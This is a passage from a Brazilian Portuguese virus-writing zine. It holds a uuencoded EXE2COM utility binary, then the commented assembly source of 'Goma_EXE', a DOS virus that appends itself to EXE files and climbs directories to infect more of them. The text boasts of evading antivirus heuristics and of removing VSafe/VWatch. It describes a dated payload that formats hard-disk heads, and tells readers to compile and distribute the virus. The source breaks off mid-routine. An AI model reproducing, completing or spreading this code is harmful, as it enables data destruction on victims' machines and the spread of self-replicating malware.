M%Q`8%AB$&(08;!B$&/@7A!B$&&88@SZX2`!T$X,^MD@`=1"+'M!(]D<&('6S
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
M!HE6!(M&"@O`?1"+5@CWV/?:'0``B48*B58("\!U&HM."(M&!C/2]_&+1@3W
M\8O",](+_W5%ZTJ0B]B+3@B+5@:+1@31Z]'9T>K1V`O;=?3W\3/24E#_=@K_
M=@CH4?\[5@9W!W(+.T8$=@8K1@@;5@HK1@0;5@8+_W4']]KWV(/:`%];B^5=
MP@@```````````````````````````!-4R!2=6XM5&EM92!,:6)R87)Y("T@
M0V]P>7)I9VAT("AC*2`Q.3@W+"!-:6-R;W-O9G0@0V]R<!X````N8V]M``#D
M!OX&&`<T!TX'9`=X!XH'G@<`````NP@``.P"````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````&(`.T-?1DE,15])3D9/````````````````````````
M```````````4`(&!@0$!````````````````````````````^@#L`D,`````
M`````````!!7````%@("&`T)#`P,!P@6%O\2#1("_UP`7````(!+``"`2P$`
M`````````@$````````&`@```````(0#`````````@0`````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````!```"````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``"\`2AN=6QL*0`H;G5L;"D`*RT@(P```````````````````````````"``
M````<`EP"7`)<`EP"0`````````@("`@("`@("`H*"@H*"`@("`@("`@("`@
M("`@("`@($@0$!`0$!`0$!`0$!`0$!"$A(2$A(2$A(2$$!`0$!`0$(&!@8&!
M@0$!`0$!`0$!`0$!`0$!`0$!`0$!$!`0$!`0@H*"@H*"`@("`@("`@("`@("
M`@("`@("`@(0$!`0(```````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````0`UE>&4R8V]M("5U+B5U)74@8GD@0VAR
M:7,@1'5N9F]R9"]4:&4@0V]V92!3;V9T=V%R92!'<F]U<`H`+F5X90``+F5X
M90``<F(``&5X93)C;VTZ(&-A;B=T(&9I;F0@:6YP=70@9FEL92`E<PH``'=B
M``!E>&4R8V]M.B!C86XG="!O<&5N(&]U='!U="!F:6QE("5S"@!U<V%G93H@
M97AE,F-O;2!;+TE=(&EN9FEL92!;;W5T9FEL95T*`$U:```N8V]M``!E>&4R
M8V]M('=A<FYI;F<Z($-/32!F:6QE+"!I;FET:6%L($E0(&YO="`Q,#!("@`*
M)2TR,',@("`@("`@("`@*&AE>"D@("`@("`H9&5C*0H`("!%6$4@9FEL92!S
M:7IE("`@("`@("`@("`@("`@)35L6"`@("`E-VQU"@`@($5812!H96%D97(@
M<VEZ92`H<&%R82D@("`@("`@)318("`@("4W=0H``"!0<F]G<F%M(&EM86=E
M('-I>F4@*&)Y=&5S*2`@)35L6"`@("`E-VQU"@``("!-:6YI;75M(&QO860@
M<VEZ92`H8GET97,I("`@)35L6"`@("`E-VQU"@`@($UI;B!A;&QO8V%T:6]N
M("AP87)A*2`@("`@("`@)318("`@("4W=0H``"`@36%X(&%L;&]C871I;VX@
M*'!A<F$I("`@("`@("`E-%@@("`@)3=U"@``($EN:71I86P@0U,Z25`@("`@
M("`@("`@("4P-%@Z)3`T6`H`($EN:71I86P@4U,Z4U`@("`@("`@("`@("4P
M-%@Z)3`T6"`@("`E-W4@*'-T86-K('-I>F4I"@`@4F5L;V-A=&EO;B!C;W5N
M="`@("`@("`@("`@("`E-%@@("`@)3=U"@`@(%)E;&\@=&%B;&4@<W1A<G0@
M("`@("`@("`@("`@)3`T6"`@("`E-W4*`"`@15A%(&9I;&4@8VAE8VMS=6T@
M("`@("`@("`@("`E,#18("`@("4W=0H`("!/=F5R;&%Y(&YU;6)E<B`@("`@
M("`@("`@("`@("4T6"`@("`E-W4*```J(#T@=&AI<R!I=&5M('!R979E;G1S
M(&-O;G9E<G-I;VX@=&\@0DE.+T-/30H`97)R;W(@<F5A9&EN9R!%6$4@:&5A
M9&5R``!E<G)O<B!W<FET:6YG(&]U='!U="!F:6QE`&EN=F%L:60@15A%(&9I
M;&4@<VEG;F%T=7)E``!%6$4@:&%S(')E;&]C871A8FQE(&ET96US`$5812!H
M87,@<W1A8VL@<V5G;65N=`!%6$4@:&%S(&YO;GIE<F\@0U,``$E0(&YO="`P
M(&]R(#$P,$@``'!R;V=R86T@97AC965D<R`V-$L`=6YK;F]W;B!I;G1E<FYA
M;"!E<G)O<@``97AE,F-O;3H@)7,L(&-A;B=T(&-O;G9E<G0*`#P\3DU31SX^
M``!2-C`P,`T*+2!S=&%C:R!O=F5R9FQO=PT*``,`4C8P,#,-"BT@:6YT96=E
M<B!D:79I9&4@8GD@,`T*``D`4C8P,#D-"BT@;F]T(&5N;W5G:"!S<&%C92!F
M;W(@96YV:7)O;FUE;G0-"@#\``T*`/\`<G5N+71I;64@97)R;W(@``(`4C8P
M,#(-"BT@9FQO871I;F<@<&]I;G0@;F]T(&QO861E9`T*``$`4C8P,#$-"BT@
=;G5L;"!P;VEN=&5R(&%S<VEG;FUE;G0-"@#___\`
`
end
                                                                             
                                                                             
                                                                             
   
        EXE2COM 
   
                                                                             
        Bom galera, os fontes estao ai, o uuencode tambem, qualquer duvida 
   que voce tenha com a utilizacao do programa mande um e-mail que veremos 
   o que esta ocorrendo, fora isso, nada a declarar, tipo utilizaremos es-
   te programa em breve, com um virus de boot (quer dizer se eu conseguir 
   arrumar as fontes do Leandro&Kelly), ou eu arrumo algum TSR para a gen-
   te se divertir ...
                                                                                
   T +                                                                     
        Nim_Bus
                                                                             

                             /  __           ___          
                      |  /  |  |__)  |   |  (__           
                      |/    |  |  \  |___|  ___)          
                                                                             

                                                                             
                                             
   5 - Goma_EXE (codigo-fonte) 
                                             
                                                                             
                                                                             
        Bom ai oh, ta ai meu virus, e' o segundo (ou o terceiro, sei la, de 
   minha autoria exclusivo para o zine, sem bugs, totalmente comentado sem 
   Flags, ops (so' da uma, flag K no TBAV e foi de proposito). 
                                                                             
        O Virus e' 100% Desconhecido (So' para variar)
                                                                             
        E' so' compilar/linkar e distribuir ...
                                                                             
                                                                             
             ... Goma para sempre seu bando de cururu ... 
                   `A memoria de Regis e Guino
             ... Goma para sempre seu bando de cururu ... 
                                                                             
   Comentarios :
                                                                             
        O virus tem 1551 bytes de tamanho, infecta arquivos EXE (quantos e-
   xistirem no diretorio que o virus se encontra), nao altera data nem hora 
   das vitimas, e' um virus de appending, ou seja, ele insere seu codigo a-
   pos o final do arquivo.                                               
                                                                             
   - Infecta arquivos EXE
        Verifica se arquivo ja foi infectado, se tem overlay e se e' real-
   mente um arquuivo EXE .
                                                                             
   - Sem Flags no TBAV (Flag K, apenas, um charme nada mais), Nada na Heu-
   ristica do F-PROT e Nada no DEEP do AVP .
                                                                             
        Quer dizer e' mais um virus e' 100 % desconhecido !!!!
                                                                             
   - Data de Ativacao
        22/10/????   Data do falecimento dos nosso dois camaradas (valeu   
   irmaos, esse e' mais um por voces .)
                                                                             
   - Acao do virus
        Multiplicacao, Formatacao das 9 primeiras cabecas da HD, 35 bips e 
   mensagem (e' logico) !!! (Acao implementada no Goma_COM)
                                                                             
   - Rotinas que merecem destaque:
        Traverse Loop (O virus guarda o diretorio em que foi executado pela
   primeira vez e vai descendo ate o diretorio raiz (infectando quantos 
   EXE's) existirem na descida e posteriormente retorna ao diretorio de ori-
   gem .
        A mascara dos arquivos a serem procurados (*.EXE) sofreu uma leve
   alteracao . (Sem Flags) (Vide Virus Brasil n1)
        Removedor do Vsafe ou Vwatch . (Sem Flags)
        Verificador se TBmem esta na memoria e se estiver, de um boot.
                                                                             
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
page          22101997
title         Virus Brasil n2 em 1999 por nim_bus@hotmail.com
name          Goma_EXE                 
                                       ;
.286c                                  ; Instrucoes 80286 
.model tiny                            ; Modelo de memoria
;;;;;;;;;;;;;;;;;;    CONSTANTES     ;;;;;;;;;;;;;;;;;;;;;;;;
com                   equ             100h                  ;
fechar_arq            equ             3eh                   ;
Data_Hora_Sistema     equ             2ah                   ;
atributos_arq         equ             4300h                 ;
data_hora_arq         equ             5700h                 ;
fechar_arq            equ             3eh                   ;
abrir_arq             equ             3d02h                 ;
ler_arq               equ             3fh                   ;
set_dta               equ             1ah                   ;
escrever_bytes        equ             40h                   ;
achar_primeiro        equ             4eh                   ;
achar_proximo         equ             4fh                   ;
mover_ponteiro        equ             4200h                 ;
diretorio             equ             47h                   ;
muda_dir              equ             3bh                   ;
tbav                  equ             0ca00h                ;
vsafe_vwatch          equ             0fa00h                ;
bips                  equ             0e07h                 ;    
Mes_Ativacao          equ             10                    ;
Dia_Ativacao          equ             22                    ;
Tamanho               equ             Fim - Virus           ;
;;;;;;;;;;;;;;;;;;    CONSTANTES     ;;;;;;;;;;;;;;;;;;;;;;;;
                                       ;
Code  segment byte public 'code'       ;
      assume  cs:code,ds:code,es:nothing,ss:nothing
      org     com                      ;  Virus vai ser .COM
                                       ;
Inicio:                                ;
      call     Virus                   ;  Jmp para o virus
                                       ;
Arquivo_byte:                          ;
      int      20h                     ;  Arquivo byte que o virus infecta
                                       ;  na compilacao (digamos assim)
Virus:                                 ;
      push    ds es                    ;
                                       ;
      call    avp                      ;
                                       ;
      push    cs                       ;
      pop     ds                       ;
      lea     dx,[bp + offset DTA]     ;
      mov     ah,set_dta               ; Endereco de transferencia
      int     21h                      ;
                                       ;
      push    [bp + exe_cs]            ;
      push    [bp + exe_ip]            ;
      push    [bp + exe_ss]            ;
      push    [bp + exe_sp]            ;
                                       ;
      call    Tbav_Instalado           ; 
                                       ;
      call    Retira_Vsafe             ; 
                                       ;
      call    Acao                     ;
                                       ;
      call    Ponto_ponto              ;
                                       ;
      pop     [bp + exe_sp]            ;
      pop     [bp + exe_ss]            ;
      pop     [bp + exe_ip]            ;
      pop     [bp + exe_cs]            ;
                                       ;
      pop     es ds                    ;
      mov     ah,set_dta               ; Endereco de transferencia
      mov     dx,81h                   ;
      dec     dx                       ;
      int     21h                      ;
                                       ;
Continua:                              ;
      mov     ax,ds                    ; Endereco de retorno
      add     ax,10h                   ;
      push    ax                       ;
      add     ax,cs:[bp + exe_cs]      ;
      mov     cs:[bp + cs_ret],ax   ;
                                       ;
      mov     ax,cs:[bp + exe_ip]      ;
      mov     cs:[bp + ip_ret],ax   ;
                                       ;
      pop     ax                       ;
      add     ax,cs:[bp + exe_ss]      ; Pilha (para restaurar)
      cli                              ;
      mov     ss,ax                    ;
      mov     sp,cs:[bp + exe_sp]      ;
                                       ;
      call    Registradores            ; 
                                       ;
      sti                              ;
                                       ;
      db      0EAh                     ; Retorno para o Arquivo_Byte (INT 20H)
                                       ;
                                       ;
;;;;;;;;;;;;;;;; DATA ;;;;;;;;;;;;;;;;;;
ip_ret         dw      0               ;
cs_ret         dw      0               ;
exe_cs         dw      -16             ; CS:IP
exe_ip         dw      103h            ;
exe_sp         dw      -2              ; SS:SP
exe_ss         dw      -16             ;
;;;;;;;;;;;;;;;; DATA ;;;;;;;;;;;;;;;;;;
                                       ;
Registradores:                         ;
      xor     ax,ax                    ;
      cwd                              ;
      xor     bx,bx                    ;
      mov     si,com                   ;
      call    Registradores_2          ;
                                       ;
Registradores_2:                       ;
      xor     di,di                    ;
      xor     bp,bp                    ;
      ret                              ;
                                       ;
Ponto_ponto:                           ;
      sub     sp,64                    ; Alocando espaco na pilha 
      mov     si,sp                    ;
      inc     si                       ;
      mov     ah,diretorio             ; Pega o diretorio atual
      xor     dl,dl                    ; 
      push    ds                       ;
      push    ss                       ;
      pop     ds                       ;
      int     21h                      ;
                                       ;
      pop     ds                       ;
      dec     si                       ;
      mov     byte ptr ss:[si],'\'     ; Guarda o directorio
                                       ;
Proximo_dir:                           ;
      call    Infectar_dir             ;
                                       ;
      lea     dx,[bp + ponto]          ; 
      mov     ah,muda_dir              ; Vamos para o proximo dir (cd..)
      int     21h                      ;
      jnc     Proximo_dir              ; 
                                       ;
Volta_dir:                             ;
      add     sp,64                    ; Reseta a pilha
      mov     dx,si                    ;
      push    ds                       ;
      push    ss                       ;
      pop     ds                       ;
      mov     ah,muda_dir              ;
      int     21h                      ;
                                       ;
      pop     ds                       ;
      ret                              ;
                                       ;
Infectar_dir:                          ;
      mov     ah,achar_primeiro        ; Achar o primeiro arquivo EXE
      inc     byte ptr [bp + offset Arq_EXE] ; Fazer o ).EXE virar *.EXE
      lea     dx,[bp + Arq_EXE]        ;
      int     21h                      ;
      dec     byte ptr [bp + offset Arq_EXE] ; Voltar para ).EXE
      jc      Infectado                ;
                                       ;
Proximo_arq:                           ;
      lea     dx,[bp + DTA + 1Eh]      ;
                                       ;
      call    executa                  ;
                                       ;
      mov     ah,achar_proximo         ; Achar os proximos EXE
      int     21h                      ;
                                       ;
      jnc     Proximo_arq              ;
                                       ;
Infectado:                             ;
      ret                              ; 
                                       ;
ponto          db      '..',0          ; cd ..
                                       ;
executa:                               ;
      push    si                       ;
                                       ;
      mov     ax,atributos_arq         ; Pega os attributos do arquivo
      int     21h                      ; 
                                       ;
      push    cx dx ds                 ;
      xor     cx,cx                    ;
      call    Muda_attrib              ;
                                       ;
      mov     ax,abrir_arq             ; Abrir arquivo
      int     21h                      ;
                                       ;
      jc      Erro                     ;
      xchg    bx,ax                    ;
                                       ;
      mov     ax,data_hora_arq         ; Salvar data e hora
      int     21h                      ; 
                                       ;
      push    cx dx                    ;
      mov     ah,ler_arq               ; Ler o arquivo       
      mov     cx,28                    ;
      lea     dx,[bp + Buffer]         ;
      int     21h                      ;
                                       ;
      cmp     byte ptr [bp + Buffer],'M'  ; Comeca com M ?
      je      Infectar                 ; Entao e' .EXE , infecte
                                       ;
      cmp     byte ptr [bp + Buffer],'Z'  ; Comeca com Z ?
      je      Infectar                 ; Entao e' .EXE , infecte
                                       ;
      jmp     Nao_infectar             ; So e' .EXE nada mais
                                       ;
Data_Hora:                             ;
      pop     dx cx                    ;
      mov     ax,data_hora_arq         ; Restaurar data e hora
      inc     al                       ;
      int     21h                      ;
                                       ;
Fechar:                                ;
      pop     ds dx cx                 ; Restore Attributos do arquivo
      call    Muda_attrib              ; 
                                       ;
      mov     ah,fechar_arq            ; Fechar arquivo
      int     21h                      ;
                                       ;
Erro:                                  ;
      pop     si                       ;
      ret                              ;
                                       ;
Muda_attrib:                           ;
      mov     ax,atributos_arq         ; Mudar Attributos do arquivo
      inc     al                       ; 
      int     21h                      ;
      ret                              ;
                                       ;
Arq_EXE       db      ').EXE',0        ; Mascara dos *.EXE
                                       ;
Nao_infectar:                          ;
      pop     cx dx                    ; Nao foi possivel infectar ...
      jmp     Fechar                   ; Entao feche o arquivo.
                                       ;
Infectar:                              ; 
      cmp     word ptr [bp + Buffer + 26],0 ; Tem overlay ?
      jne     Nao_infectar             ; Entao nao infecta 
                                       ;
      cmp     word ptr [bp + Buffer + 16],'OG' ; Ja esta infectado ?
      je      Nao_infectar             ; Entao nao infecta 
                                       ;
      les    ax,dword ptr [bp + Buffer + 20] ;
      mov    [bp + exe_cs],es          ;
      mov    [bp + exe_ip],ax          ;
